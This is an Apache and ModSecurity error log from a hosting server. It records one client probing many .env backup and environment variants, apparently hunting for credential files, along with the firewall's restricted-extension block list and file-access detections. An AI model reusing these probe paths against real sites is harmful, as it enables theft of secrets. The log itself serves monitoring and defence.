[Fri Jul 17 09:14:03.693320 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "almlA7oj0IkvhSCYadmEsgAAAAQ"]
[Fri Jul 17 09:14:03.693523 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "almlA7oj0IkvhSCYadmEsgAAAAQ"]
[Fri Jul 17 09:14:03.693820 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "almlA7oj0IkvhSCYadmEsgAAAAQ"]
[Fri Jul 17 09:14:03.694113 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlA7oj0IkvhSCYadmEsgAAAAQ"]
[Fri Jul 17 09:14:03.811725 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS1/line
[Fri Jul 17 09:14:04.192701 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:04.200195 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almlBEgVnBK6wAv37w6vjwAAABQ"]
[Fri Jul 17 09:14:04.200541 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almlBEgVnBK6wAv37w6vjwAAABQ"]
[Fri Jul 17 09:14:04.200991 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almlBEgVnBK6wAv37w6vjwAAABQ"]
[Fri Jul 17 09:14:04.201540 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBEgVnBK6wAv37w6vjwAAABQ"]
[Fri Jul 17 09:14:04.316188 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:54024] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:04.368157 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.save"] [unique_id "almlBBHlOGcokz2QIwTWQAAAAAM"]
[Fri Jul 17 09:14:04.368401 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.save"] [unique_id "almlBBHlOGcokz2QIwTWQAAAAAM"]
[Fri Jul 17 09:14:04.368678 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBBHlOGcokz2QIwTWQAAAAAM"]
[Fri Jul 17 09:14:04.600205 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:04.622711 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlA-jME1mgqYZ5O94pQgAAAAE"]
[Fri Jul 17 09:14:04.665388 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:04.900420 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:04.938127 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:05.182502 2026] [security2:error] [pid 2028246:tid 2028246] [client 47.82.15.212:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph3/node_modules/@fortawesome/fontawesome-free/svgs/solid/pen-fancy.svg"] [unique_id "almlBDsMb3am0TgkjETdwwAAAAo"]
[Fri Jul 17 09:14:05.182535 2026] [security2:error] [pid 2028246:tid 2028246] [client 47.82.15.212:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph3/node_modules/@fortawesome/fontawesome-free/svgs/solid/pen-fancy.svg"] [unique_id "almlBDsMb3am0TgkjETdwwAAAAo"]
[Fri Jul 17 09:14:05.186157 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/firmware_node/subsystem/uevent
[Fri Jul 17 09:14:05.186899 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.old"] [unique_id "almlBYl9vhFBGA6D8l99CgAAAAw"]
[Fri Jul 17 09:14:05.187092 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.old"] [unique_id "almlBYl9vhFBGA6D8l99CgAAAAw"]
[Fri Jul 17 09:14:05.187326 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.old"] [unique_id "almlBYl9vhFBGA6D8l99CgAAAAw"]
[Fri Jul 17 09:14:05.187579 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBYl9vhFBGA6D8l99CgAAAAw"]
[Fri Jul 17 09:14:05.437690 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.sample"] [unique_id "almlBVCBpfuYyhJ140vVrgAAAB4"]
[Fri Jul 17 09:14:05.438131 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.sample"] [unique_id "almlBVCBpfuYyhJ140vVrgAAAB4"]
[Fri Jul 17 09:14:05.438560 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBVCBpfuYyhJ140vVrgAAAB4"]
[Fri Jul 17 09:14:05.610727 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:05.618889 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.example"] [unique_id "almlBY1dLClkUfK_dfHnwgAAAAI"]
[Fri Jul 17 09:14:05.619160 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.example"] [unique_id "almlBY1dLClkUfK_dfHnwgAAAAI"]
[Fri Jul 17 09:14:05.619466 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBY1dLClkUfK_dfHnwgAAAAI"]
[Fri Jul 17 09:14:05.660788 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:05.762796 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:05.789131 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almlBRHlOGcokz2QIwTWQwAAAAM"]
[Fri Jul 17 09:14:05.789465 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almlBRHlOGcokz2QIwTWQwAAAAM"]
[Fri Jul 17 09:14:05.789993 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBRHlOGcokz2QIwTWQwAAAAM"]
[Fri Jul 17 09:14:05.961808 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.prod"] [unique_id "almlBQRRrtuZqNDDSqWzGwAAABo"]
[Fri Jul 17 09:14:05.962216 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.prod"] [unique_id "almlBQRRrtuZqNDDSqWzGwAAABo"]
[Fri Jul 17 09:14:05.962614 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBQRRrtuZqNDDSqWzGwAAABo"]
[Fri Jul 17 09:14:06.069408 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:06.130434 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.stage"] [unique_id "almlBlCBpfuYyhJ140vVrwAAAB4"]
[Fri Jul 17 09:14:06.130704 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.stage"] [unique_id "almlBlCBpfuYyhJ140vVrwAAAB4"]
[Fri Jul 17 09:14:06.130966 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlBlCBpfuYyhJ140vVrwAAAB4"]
[Fri Jul 17 09:14:06.264539 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:54158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:06.281701 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:06.298665 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.ci"] [unique_id "almlBrEKozcCJ-ReuK0F1AAAAAg"]
[Fri Jul 17 09:14:06.298979 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.ci"] [unique_id "almlBrEKozcCJ-ReuK0F1AAAAAg"]
